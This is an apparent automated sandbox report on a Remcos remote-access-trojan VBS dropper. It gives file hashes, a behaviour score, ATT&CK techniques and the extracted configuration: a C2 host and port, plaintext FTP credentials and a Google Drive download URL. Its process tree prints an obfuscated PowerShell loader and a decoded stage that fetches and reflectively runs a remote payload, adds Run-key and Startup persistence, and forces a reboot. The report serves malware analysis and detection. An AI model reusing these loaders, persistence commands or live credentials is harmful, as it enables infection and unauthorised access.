remcos | 4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b

General

Target

4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs
Size

561KB
MD5

e5d5bfe30179b640a80ae3cc1640e486
SHA1

5c5a868d8b688884b8a47deb61a3ee9ca08fbdd4
SHA256

4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b
SHA512

cae7eac6bf7106bb663c042f1ea77393a62b6ec9555667e07736997fc69f219fa83b30fcaf1c93a4a1a300879ec0fe33aa8cdc22d303f795f36dc285639f488b
SSDEEP

1536:kmmmmmmmmmmmmmmmmmmyFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFp:vSe

Score

10^/10

remcos grace defense_evasion discovery execution persistence rat

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Extracted

Credentials

Protocol: ftp
Host:
ftp.desckvbrat.com.br
Port:
21
Username:
desckvbrat1
Password:
developerpro21578Jp@@

Extracted

Family

remcos

Botnet

Grace

C2

severdops.ddns.net:7717

Attributes

audio_folder
MicRecords
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-P28XIL
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Blocklisted process makes network request 7 IoCs

flow	pid	Process
14	2028	powershell.exe
18	2028	powershell.exe
20	2028	powershell.exe
22	2028	powershell.exe
24	2028	powershell.exe
28	2028	powershell.exe
33	4828	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation	WScript.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Update Drivers NVIDEO_b = "cmd.exe /c start /min \"\" Powershell.exe -WindowStyle Hidden -ExecutionPolicy Bypass -Comman \". 'C:\\Users\\Admin\\AppData\\Local\\Microsoft\\LocalLow\\System Update\\tqnrq.ps1' \";exit"	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2028	powershell.exe
3244	powershell.exe
2268	powershell.exe
4828	powershell.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
32	pastebin.com
33	pastebin.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4828 set thread context of 2076	4828	powershell.exe	96

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
3244	powershell.exe
3244	powershell.exe
2028	powershell.exe
2028	powershell.exe
2028	powershell.exe
2268	powershell.exe
2268	powershell.exe
4828	powershell.exe
4828	powershell.exe
4828	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3244	powershell.exe
Token: SeDebugPrivilege	2028	powershell.exe
Token: SeDebugPrivilege	2268	powershell.exe
Token: SeDebugPrivilege	4828	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2076	RegAsm.exe

Suspicious use of WriteProcessMemory 24 IoCs

description	pid	Process	procid_target
PID 3356 wrote to memory of 3244	3356	WScript.exe	82
PID 3356 wrote to memory of 3244	3356	WScript.exe	82
PID 3244 wrote to memory of 2028	3244	powershell.exe	84
PID 3244 wrote to memory of 2028	3244	powershell.exe	84
PID 2028 wrote to memory of 1652	2028	powershell.exe	89
PID 2028 wrote to memory of 1652	2028	powershell.exe	89
PID 2028 wrote to memory of 2268	2028	powershell.exe	90
PID 2028 wrote to memory of 2268	2028	powershell.exe	90
PID 2028 wrote to memory of 4828	2028	powershell.exe	94
PID 2028 wrote to memory of 4828	2028	powershell.exe	94
PID 2028 wrote to memory of 560	2028	powershell.exe	95
PID 2028 wrote to memory of 560	2028	powershell.exe	95
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96
PID 4828 wrote to memory of 2076	4828	powershell.exe	96

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3356
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 'OwB9ҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦGUҼмẦdQByҼмẦHQҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦBYҼмẦFҼмẦҼмẦVQB1ҼмẦGgҼмẦJҼмẦҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦGgҼмẦdҼмẦB0ҼмẦHҼмẦҼмẦcwҼмẦ6ҼмẦC8ҼмẦLwBlҼмẦHYҼмẦaQByҼмẦHQҼмẦdQBhҼмẦGwҼмẦcwBlҼмẦHIҼмẦdgBpҼмẦGMҼмẦZQBzҼмẦHIҼмẦZQB2ҼмẦGkҼмẦZQB3ҼмẦHMҼмẦLgBjҼмẦG8ҼмẦbQҼмẦvҼмẦGMҼмẦZҼмẦҼмẦuҼмẦHQҼмẦeҼмẦB0ҼмẦCcҼмẦIҼмẦҼмẦoҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦWwҼмẦgҼмẦCwҼмẦIҼмẦBsҼмẦGwҼмẦdQBuҼмẦCQҼмẦIҼмẦҼмẦoҼмẦGUҼмẦawBvҼмẦHYҼмẦbgBJҼмẦC4ҼмẦKQҼмẦgҼмẦCcҼмẦSQBWҼмẦEYҼмẦcgBwҼмẦCcҼмẦIҼмẦҼмẦoҼмẦGQҼмẦbwBoҼмẦHQҼмẦZQBNҼмẦHQҼмẦZQBHҼмẦC4ҼмẦKQҼмẦnҼмẦDEҼмẦcwBzҼмẦGEҼмẦbҼмẦBDҼмẦC4ҼмẦMwB5ҼмẦHIҼмẦYQByҼмẦGIҼмẦaQBMҼмẦHMҼмẦcwBhҼмẦGwҼмẦQwҼмẦnҼмẦCgҼмẦZQBwҼмẦHkҼмẦVҼмẦB0ҼмẦGUҼмẦRwҼмẦuҼмẦCkҼмẦIҼмẦBaҼмẦGMҼмẦQgBjҼмẦGEҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZҼмẦBhҼмẦG8ҼмẦTҼмẦҼмẦuҼмẦG4ҼмẦaQBhҼмẦG0ҼмẦbwBEҼмẦHQҼмẦbgBlҼмẦHIҼмẦcgB1ҼмẦEMҼмẦOgҼмẦ6ҼмẦF0ҼмẦbgBpҼмẦGEҼмẦbQBvҼмẦEQҼмẦcҼмẦBwҼмẦEEҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦDsҼмẦKQҼмẦgҼмẦCkҼмẦIҼмẦҼмẦnҼмẦEEҼмẦJwҼмẦgҼмẦCwҼмẦIҼмẦҼмẦnҼмẦJMhOgCTIScҼмẦIҼмẦҼмẦoҼмẦGUҼмẦYwBhҼмẦGwҼмẦcҼмẦBlҼмẦFIҼмẦLgBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwҼмẦ0ҼмẦDYҼмẦZQBzҼмẦGEҼмẦQgBtҼмẦG8ҼмẦcgBGҼмẦDoҼмẦOgBdҼмẦHQҼмẦcgBlҼмẦHYҼмẦbgBvҼмẦEMҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦFoҼмẦYwBCҼмẦGMҼмẦYQҼмẦkҼмẦCҼмẦҼмẦXQBdҼмẦFsҼмẦZQB0ҼмẦHkҼмẦQgBbҼмẦDsҼмẦJwҼмẦlҼмẦEkҼмẦaҼмẦBxҼмẦFIҼмẦWҼмẦҼмẦlҼмẦCcҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦWҼмẦBQҼмẦFUҼмẦdQBoҼмẦCQҼмẦOwҼмẦpҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦgҼмẦCgҼмẦZwBuҼмẦGkҼмẦcgB0ҼмẦFMҼмẦZҼмẦBhҼмẦG8ҼмẦbҼмẦBuҼмẦHcҼмẦbwBEҼмẦC4ҼмẦcgB5ҼмẦGsҼмẦdҼмẦҼмẦkҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦUwB6ҼмẦEMҼмẦQgBsҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦpҼмẦCgҼмẦZQBzҼмẦG8ҼмẦcҼмẦBzҼмẦGkҼмẦZҼмẦҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦIҼмẦҼмẦnҼмẦHQҼмẦeҼмẦB0ҼмẦC4ҼмẦMQҼмẦwҼмẦEwҼмẦTҼмẦBEҼмẦC8ҼмẦMQҼмẦwҼмẦC8ҼмẦcgBlҼмẦHQҼмẦcҼмẦB5ҼмẦHIҼмẦYwBwҼмẦFUҼмẦLwByҼмẦGIҼмẦLgBtҼмẦG8ҼмẦYwҼмẦuҼмẦHQҼмẦYQByҼмẦGIҼмẦdgBrҼмẦGMҼмẦcwBlҼмẦGQҼмẦLgBwҼмẦHQҼмẦZgBҼмẦҼмẦDEҼмẦdҼмẦBhҼмẦHIҼмẦYgB2ҼмẦGsҼмẦYwBzҼмẦGUҼмẦZҼмẦҼмẦvҼмẦC8ҼмẦOgBwҼмẦHQҼмẦZgҼмẦnҼмẦCҼмẦҼмẦKҼмẦBnҼмẦG4ҼмẦaQByҼмẦHQҼмẦUwBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBTҼмẦHoҼмẦQwBCҼмẦGwҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwBҼмẦҼмẦEҼмẦҼмẦcҼмẦBKҼмẦDgҼмẦNwҼмẦ1ҼмẦDEҼмẦMgBvҼмẦHIҼмẦcҼмẦByҼмẦGUҼмẦcҼмẦBvҼмẦGwҼмẦZQB2ҼмẦGUҼмẦZҼмẦҼмẦnҼмẦCwҼмẦKQҼмẦpҼмẦDkҼмẦNҼмẦҼмẦsҼмẦDYҼмẦMQҼмẦxҼмẦCwҼмẦNwҼмẦ5ҼмẦCwҼмẦNҼмẦҼмẦxҼмẦDEҼмẦLҼмẦҼмẦ4ҼмẦDkҼмẦLҼмẦҼмẦ4ҼмẦDEҼмẦMQҼмẦsҼмẦDcҼмẦMҼмẦҼмẦxҼмẦCwҼмẦOQҼмẦ5ҼмẦCwҼмẦNQҼмẦxҼмẦDEҼмẦLҼмẦҼмẦxҼмẦDҼмẦҼмẦMQҼмẦsҼмẦDҼмẦҼмẦMҼмẦҼмẦxҼмẦCgҼмẦXQBdҼмẦFsҼмẦcgBhҼмẦGgҼмẦYwBbҼмẦCҼмẦҼмẦbgBpҼмẦG8ҼмẦagҼмẦtҼмẦCgҼмẦKҼмẦBsҼмẦGEҼмẦaQB0ҼмẦG4ҼмẦZQBkҼмẦGUҼмẦcgBDҼмẦGsҼмẦcgBvҼмẦHcҼмẦdҼмẦBlҼмẦE4ҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦCҼмẦҼмẦdҼмẦBjҼмẦGUҼмẦagBiҼмẦG8ҼмẦLQB3ҼмẦGUҼмẦbgҼмẦgҼмẦD0ҼмẦIҼмẦBzҼмẦGwҼмẦYQBpҼмẦHQҼмẦbgBlҼмẦGQҼмẦZQByҼмẦEMҼмẦLgByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwҼмẦ4ҼмẦEYҼмẦVҼмẦBVҼмẦDoҼмẦOgBdҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHQҼмẦeҼмẦBlҼмẦFQҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGcҼмẦbgBpҼмẦGQҼмẦbwBjҼмẦG4ҼмẦRQҼмẦuҼмẦHIҼмẦeQBrҼмẦHQҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦdҼмẦBuҼмẦGUҼмẦaQBsҼмẦEMҼмẦYgBlҼмẦFcҼмẦLgB0ҼмẦGUҼмẦTgҼмẦgҼмẦHQҼмẦYwBlҼмẦGoҼмẦYgBPҼмẦC0ҼмẦdwBlҼмẦE4ҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦByҼмẦHkҼмẦawB0ҼмẦCQҼмẦOwBnҼмẦFMҼмẦegBDҼмẦEIҼмẦbҼмẦҼмẦkҼмẦDsҼмẦMgҼмẦxҼмẦHMҼмẦbҼмẦBUҼмẦDoҼмẦOgBdҼмẦGUҼмẦcҼмẦB5ҼмẦFQҼмẦbҼмẦBvҼмẦGMҼмẦbwB0ҼмẦG8ҼмẦcgBQҼмẦHkҼмẦdҼмẦBpҼмẦHIҼмẦdQBjҼмẦGUҼмẦUwҼмẦuҼмẦHQҼмẦZQBOҼмẦC4ҼмẦbQBlҼмẦHQҼмẦcwB5ҼмẦFMҼмẦWwҼмẦgҼмẦD0ҼмẦIҼмẦBsҼмẦG8ҼмẦYwBvҼмẦHQҼмẦbwByҼмẦFҼмẦҼмẦeQB0ҼмẦGkҼмẦcgB1ҼмẦGMҼмẦZQBTҼмẦDoҼмẦOgBdҼмẦHIҼмẦZQBnҼмẦGEҼмẦbgBhҼмẦE0ҼмẦdҼмẦBuҼмẦGkҼмẦbwBQҼмẦGUҼмẦYwBpҼмẦHYҼмẦcgBlҼмẦFMҼмẦLgB0ҼмẦGUҼмẦTgҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦOwB9ҼмẦGUҼмẦdQByҼмẦHQҼмẦJҼмẦB7ҼмẦCҼмẦҼмẦPQҼмẦgҼмẦGsҼмẦYwBhҼмẦGIҼмẦbҼмẦBsҼмẦGEҼмẦQwBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦZҼмẦBpҼмẦGwҼмẦYQBWҼмẦGUҼмẦdҼмẦBhҼмẦGMҼмẦaQBmҼмẦGkҼмẦdҼмẦByҼмẦGUҼмẦQwByҼмẦGUҼмẦdgByҼмẦGUҼмẦUwҼмẦ6ҼмẦDoҼмẦXQByҼмẦGUҼмẦZwBhҼмẦG4ҼмẦYQBNҼмẦHQҼмẦbgBpҼмẦG8ҼмẦUҼмẦBlҼмẦGMҼмẦaQB2ҼмẦHIҼмẦZQBTҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦLgBtҼмẦGUҼмẦdҼмẦBzҼмẦHkҼмẦUwBbҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦIҼмẦBmҼмẦC8ҼмẦIҼмẦҼмẦwҼмẦCҼмẦҼмẦdҼмẦҼмẦvҼмẦCҼмẦҼмẦcgҼмẦvҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBuҼмẦHcҼмẦbwBkҼмẦHQҼмẦdQBoҼмẦHMҼмẦIҼмẦҼмẦ7ҼмẦCcҼмẦMҼмẦҼмẦ4ҼмẦDEҼмẦIҼмẦBwҼмẦGUҼмẦZQBsҼмẦHMҼмẦJwҼмẦgҼмẦGQҼмẦbgBhҼмẦG0ҼмẦbQBvҼмẦGMҼмẦLQҼмẦgҼмẦGUҼмẦeҼмẦBlҼмẦC4ҼмẦbҼмẦBsҼмẦGUҼмẦaҼмẦBzҼмẦHIҼмẦZQB3ҼмẦG8ҼмẦcҼмẦҼмẦ7ҼмẦCҼмẦҼмẦZQBjҼмẦHIҼмẦbwBmҼмẦC0ҼмẦIҼмẦҼмẦpҼмẦCҼмẦҼмẦJwBwҼмẦHUҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBTҼмẦFwҼмẦcwBtҼмẦGEҼмẦcgBnҼмẦG8ҼмẦcgBQҼмẦFwҼмẦdQBuҼмẦGUҼмẦTQҼмẦgҼмẦHQҼмẦcgBhҼмẦHQҼмẦUwBcҼмẦHMҼмẦdwBvҼмẦGQҼмẦbgBpҼмẦFcҼмẦXҼмẦB0ҼмẦGYҼмẦbwBzҼмẦG8ҼмẦcgBjҼмẦGkҼмẦTQBcҼмẦGcҼмẦbgBpҼмẦG0ҼмẦYQBvҼмẦFIҼмẦXҼмẦBhҼмẦHQҼмẦYQBEҼмẦHҼмẦҼмẦcҼмẦBBҼмẦFwҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦgҼмẦCgҼмẦIҼмẦBuҼмẦG8ҼмẦaQB0ҼмẦGEҼмẦbgBpҼмẦHQҼмẦcwBlҼмẦEQҼмẦLQҼмẦgҼмẦCcҼмẦJQBJҼмẦGgҼмẦcQBSҼмẦFgҼмẦJQҼмẦnҼмẦCҼмẦҼмẦbQBlҼмẦHQҼмẦSQҼмẦtҼмẦHkҼмẦcҼмẦBvҼмẦEMҼмẦIҼмẦҼмẦ7ҼмẦCҼмẦҼмẦdҼмẦByҼмẦGEҼмẦdҼмẦBzҼмẦGUҼмẦcgBvҼмẦG4ҼмẦLwҼмẦgҼмẦHQҼмẦZQBpҼмẦHUҼмẦcQҼмẦvҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBhҼмẦHMҼмẦdQB3ҼмẦCҼмẦҼмẦZQB4ҼмẦGUҼмẦLgBsҼмẦGwҼмẦZQBoҼмẦHMҼмẦcgBlҼмẦHcҼмẦbwBwҼмẦCҼмẦҼмẦOwҼмẦpҼмẦCcҼмẦdQBzҼмẦG0ҼмẦLgBuҼмẦGkҼмẦdwBwҼмẦFUҼмẦXҼмẦҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦE4ҼмẦSgBUҼмẦHgҼмẦRҼмẦҼмẦkҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦRwBjҼмẦFcҼмẦaQBSҼмẦDsҼмẦKQҼмẦgҼмẦGUҼмẦbQBhҼмẦE4ҼмẦcgBlҼмẦHMҼмẦVQҼмẦ6ҼмẦDoҼмẦXQB0ҼмẦG4ҼмẦZQBtҼмẦG4ҼмẦbwByҼмẦGkҼмẦdgBuҼмẦEUҼмẦWwҼмẦgҼмẦCsҼмẦIҼмẦҼмẦnҼмẦFwҼмẦcwByҼмẦGUҼмẦcwBVҼмẦFwҼмẦOgBDҼмẦCcҼмẦKҼмẦҼмẦgҼмẦD0ҼмẦIҼмẦBaҼмẦEsҼмẦbgBZҼмẦE0ҼмẦJҼмẦҼмẦ7ҼмẦCkҼмẦJwB1ҼмẦHMҼмẦbQҼмẦuҼмẦG4ҼмẦaQB3ҼмẦHҼмẦҼмẦVQBcҼмẦCcҼмẦIҼмẦҼмẦrҼмẦCҼмẦҼмẦTgBKҼмẦFQҼмẦeҼмẦBEҼмẦCQҼмẦIҼмẦҼмẦsҼмẦEIҼмẦSwBMҼмẦFIҼмẦVQҼмẦkҼмẦCgҼмẦZQBsҼмẦGkҼмẦRgBkҼмẦGEҼмẦbwBsҼмẦG4ҼмẦdwBvҼмẦEQҼмẦLgBzҼмẦHQҼмẦbQBvҼмẦG8ҼмẦJҼмẦҼмẦ7ҼмẦDgҼмẦRgBUҼмẦFUҼмẦOgҼмẦ6ҼмẦF0ҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦdҼмẦB4ҼмẦGUҼмẦVҼмẦҼмẦuҼмẦG0ҼмẦZQB0ҼмẦHMҼмẦeQBTҼмẦFsҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦZwBuҼмẦGkҼмẦZҼмẦBvҼмẦGMҼмẦbgBFҼмẦC4ҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwҼмẦpҼмẦHQҼмẦbgBlҼмẦGkҼмẦbҼмẦBDҼмẦGIҼмẦZQBXҼмẦC4ҼмẦdҼмẦBlҼмẦE4ҼмẦIҼмẦB0ҼмẦGMҼмẦZQBqҼмẦGIҼмẦTwҼмẦtҼмẦHcҼмẦZQBOҼмẦCgҼмẦIҼмẦҼмẦ9ҼмẦCҼмẦҼмẦcwB0ҼмẦG0ҼмẦbwBvҼмẦCQҼмẦOwB9ҼмẦDsҼмẦIҼмẦҼмẦpҼмẦCcҼмẦdҼмẦBPҼмẦEwҼмẦYwBfҼмẦEsҼмẦYQҼмẦzҼмẦFoҼмẦZgBvҼмẦFgҼмẦMgBKҼмẦEoҼмẦcgBWҼмẦGgҼмẦbQBWҼмẦDkҼмẦYwBtҼмẦDkҼмẦWҼмẦBzҼмẦHUҼмẦWҼмẦBtҼмẦGoҼмẦMQBnҼмẦDEҼмẦJwҼмẦgҼмẦCsҼмẦIҼмẦBvҼмẦHgҼмẦSwBVҼмẦGcҼмẦJҼмẦҼмẦoҼмẦCҼмẦҼмẦPQҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦHsҼмẦIҼмẦBlҼмẦHMҼмẦbҼмẦBlҼмẦH0ҼмẦOwҼмẦgҼмẦCkҼмẦJwҼмẦyҼмẦDQҼмẦdQBYҼмẦEoҼмẦVҼмẦBxҼмẦGEҼмẦbQBnҼмẦHkҼмẦTQB0ҼмẦEYҼмẦegBhҼмẦGsҼмẦUҼмẦBSҼмẦDEҼмẦcQBfҼмẦEkҼмẦdgBHҼмẦGkҼмẦWҼмẦBOҼмẦGQҼмẦcQBhҼмẦE4ҼмẦMQҼмẦnҼмẦCҼмẦҼмẦKwҼмẦgҼмẦG8ҼмẦeҼмẦBLҼмẦFUҼмẦZwҼмẦkҼмẦCgAIAA9ACAAbwB4AEsAVQBnACQAewAgACkAIAB1AE4AQwBWAHEAJAAgACgAIABmAGkAOwAgACkAJwA0ADYAJwAoAHMAbgBpAGEAdABuAG8AQwAuAEUAUgBVAFQAQwBFAFQASQBIAEMAUgBBAF8AUgBPAFMAUwBFAEMATwBSAFAAOgB2AG4AZQAkACAAPQAgAHUATgBDAFYAcQAkADsAJwA9AGQAaQAmAGQAYQBvAGwAbgB3AG8AZAA9AHQAcgBvAHAAeABlAD8AYwB1AC8AbQBvAGMALgBlAGwAZwBvAG8AZwAuAGUAdgBpAHIAZAAvAC8AOgBzAHAAdAB0AGgAJwAgAD0AIABvAHgASwBVҼмẦGcAJAA7ACkAIAAnAHUAcwBtAC4AbgBpAHcAcABVAFwAJwAgACsAIABOAEoAVAB4AEQAJAAgACgAIABsAGUAZAA7ACkAKABoAHQAYQBQAHAAbQBlAFQAdABlAEcAOgA6AF0AaAB0AGEAUAAuAE8ASQAuAG0AZQB0AHMAeQBTAFsAIAA9ACAATgBKAFQAeABEACQAewAgACkAIABkAHYAbwBmAFgAJAAgACgAIABmAGkAOwAgACkAMgAoAHMAbABhAHUAcQBFAC4AcgBvAGoAYQBNAC4AbgBvAGkAcwByAGUAVgAuAHQAcwBvAGgAJAAgAD0AIABkAHYAbwBmAFgAJAAgADsA';$kahlN = $qKKzc.replace('ҼмẦ' , 'A') ;$DLOWx = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $kahlN ) ); $DLOWx = $DLOWx[-1..-$DLOWx.Length] -join '';$DLOWx = $DLOWx.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs');powershell $DLOWx
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3244
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $Xfovd = $host.Version.Major.Equals(2) ;if ( $Xfovd ) {$DxTJN = [System.IO.Path]::GetTempPath();del ( $DxTJN + '\Upwin.msu' );$gUKxo = 'https://drive.google.com/uc?export=download&id=';$qVCNu = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $qVCNu ) {$gUKxo = ($gUKxo + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$gUKxo = ($gUKxo + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$oomts = (New-Object Net.WebClient);$oomts.Encoding = [System.Text.Encoding]::UTF8;$oomts.DownloadFile($URLKB, $DxTJN + '\Upwin.msu');$MYnKZ = ('C:\Users\' + [Environment]::UserName );RiWcG = ($DxTJN + '\Upwin.msu'); powershell.exe wusa.exe RiWcG /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs' -Destination ( $MYnKZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$tkyr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $tkyr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$tkyr.dispose();$tkyr = (New-Object Net.WebClient);$tkyr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $tkyr.DownloadString( $lBCzSg );$huUPX = 'C:\Users\Admin\AppData\Local\Temp\4252980510d6ea59efb52bb30a67f8173b7f905e1ea368113ab6e60f2a99105b.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.dc/moc.sweiversecivreslautrive//:sptth' , $huUPX , 'true' ) );};"
    3⤵
    - Blocklisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
